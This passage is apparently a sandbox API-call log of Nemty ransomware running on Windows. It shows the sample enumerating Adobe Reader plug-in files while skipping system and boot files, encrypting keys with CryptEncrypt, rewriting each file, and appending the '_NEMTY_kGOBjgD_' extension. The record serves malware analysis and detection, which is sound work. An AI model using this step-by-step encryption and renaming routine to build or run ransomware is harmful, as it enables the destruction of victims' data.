hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.588] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18463, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2=".") returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="..") returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="...") returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="windows") returned -1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="$RECYCLE.BIN") returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="rsa") returned -1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="NTDETECT.COM") returned -1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="ntldr") returned -1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="MSDOS.SYS") returned -1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="IO.SYS") returned -1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="boot.ini") returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="boot.ini") returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="AUTOEXEC.BAT") returned 1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="ntuser.dat") returned -1 [0190.588] lstrcmpiW (lpString1="IA32.api", lpString2="desktop.ini") returned 1 [0190.589] lstrcmpiW (lpString1="IA32.api", lpString2="CONFIG.SYS") returned 1 [0190.589] lstrcmpiW (lpString1="IA32.api", lpString2="RECYCLER") returned -1 [0190.589] lstrcmpiW (lpString1="IA32.api", lpString2="BOOTSECT.BAK") returned 1 [0190.589] lstrcmpiW (lpString1="IA32.api", lpString2="bootmgr") returned 1 [0190.589] lstrcmpiW (lpString1="IA32.api", lpString2="programdata") returned -1 [0190.589] lstrcmpiW (lpString1="IA32.api", lpString2="appdata") returned 1 [0190.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.api", lpUsedDefaultChar=0x0) returned 8 [0190.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.api", lpUsedDefaultChar=0x0) returned 8 [0190.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.api", lpUsedDefaultChar=0x0) returned 8 [0190.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0190.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.api", lpUsedDefaultChar=0x0) returned 8 [0190.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.589] Sleep (dwMilliseconds=0x5) [0190.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2540a470, dwHighDateTime=0x1d561e8)) [0190.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2540a470, dwHighDateTime=0x1d561e8)) [0190.599] GetLastError () returned 0x0 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.599] GetLastError () returned 0x0 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.599] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.599] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.599] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0190.599] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="erv3LgYxiLmSeBpBpyyS/KtCpb4f8c+ePnjy88ZJ4JZRO0POB+FsCQnOHb8vhX2k\r\nwijJwYEhCctSwMLpKaAmOvVKXibn6mJzbILJ3PRJ1znq83SR1DFtC6xDOj/6qvTH\r\njgIRmepm/q4h1WbnssC6BjfuZnorrm6MKESuxKlL8UTCyRKt1h3I8lWdORSy4KKd\r\nQ/dYkjIh1SKZzLZnEDqLrwkk/gwftZIlDBRNm3y6634izp4oDEsz7bzzPPOuEMVJ\r\nr9NLz5zgSQ2OWBarQepHv10vhK68Imo2TD0OWy6UiF9MLBT6k3zBGLNhA902IM2k\r\nWzSQxk2odEWT7Wp/qg9Pww==\r\n", pcchString=0x653e91c) returned 1 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0190.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.599] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.600] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=99427) returned 1 [0190.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18460) returned 0x6352c48 [0190.600] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.600] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18460, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x18460, lpOverlapped=0x0) returned 1 [0190.608] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.608] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18460, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x18460, lpOverlapped=0x0) returned 1 [0190.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.608] SetFilePointer (in: hFile=0x254, lDistanceToMove=99427, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18463 [0190.608] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.608] CloseHandle (hObject=0x254) returned 1 [0190.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.609] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api._nemty_kgobjgd_")) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.610] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x234a63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2=".") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="..") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="...") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="windows") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="$RECYCLE.BIN") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="rsa") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="NTDETECT.COM") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="ntldr") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="MSDOS.SYS") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="IO.SYS") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="boot.ini") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="boot.ini") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="AUTOEXEC.BAT") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="ntuser.dat") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="desktop.ini") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="CONFIG.SYS") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="RECYCLER") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="BOOTSECT.BAK") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="bootmgr") returned 1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="programdata") returned -1 [0190.610] lstrcmpiW (lpString1="MakeAccessible.api", lpString2="appdata") returned 1 [0190.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.api", lpUsedDefaultChar=0x0) returned 18 [0190.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0190.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.api", lpUsedDefaultChar=0x0) returned 18 [0190.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0190.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.api", lpUsedDefaultChar=0x0) returned 18 [0190.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.api", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.api", lpUsedDefaultChar=0x0) returned 18 [0190.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0190.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0190.611] Sleep (dwMilliseconds=0x5) [0190.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x254305d0, dwHighDateTime=0x1d561e8)) [0190.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x254305d0, dwHighDateTime=0x1d561e8)) [0190.614] GetLastError () returned 0x0 [0190.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.614] GetLastError () returned 0x0 [0190.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0190.614] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.615] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.615] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0190.615] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="K0w/yAZtl2O7o8Ce/M/vjNMpTOwJrb/74PiLPMBU8gjUsNRRjA0XVSzS+Ww3o6es\r\nJx8/JGvpqeGD2xwVrkvr1ecnhqpGAe9tWr7NUVTA3NV/LBE7H0N7rBlEE4x3wIlU\r\nxuQpEL0O37Fa64aI4sPteyax7uYMBWZI8yoy36CR3jLiMMqoyquSDac8wDW24ruf\r\niONeq7rbOIr1IL1Tacit7BZwmeZpE7ceXkcXQNuLHigO76/9Y1NjdeL/w9XSmmf0\r\njm7jFEzN4hQ0V0jE40jEwVwydeL+f99F5vim2lPySJMw+7dWllkbvKQF4BfxC5hU\r\nk4McC3eLIonuP6pqVlJ7SQ==\r\n", pcchString=0x653e91c) returned 1 [0190.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0190.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0190.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.615] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.615] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=2312803) returned 1 [0190.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.616] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.616] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0190.625] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.625] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0190.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.625] SetFilePointer (in: hFile=0x254, lDistanceToMove=2312803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x234a63 [0190.625] WriteFile (in: hFile=0x254, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.629] CloseHandle (hObject=0x254) returned 1 [0190.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0190.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0190.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0190.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0190.629] RtlAllocateHeap 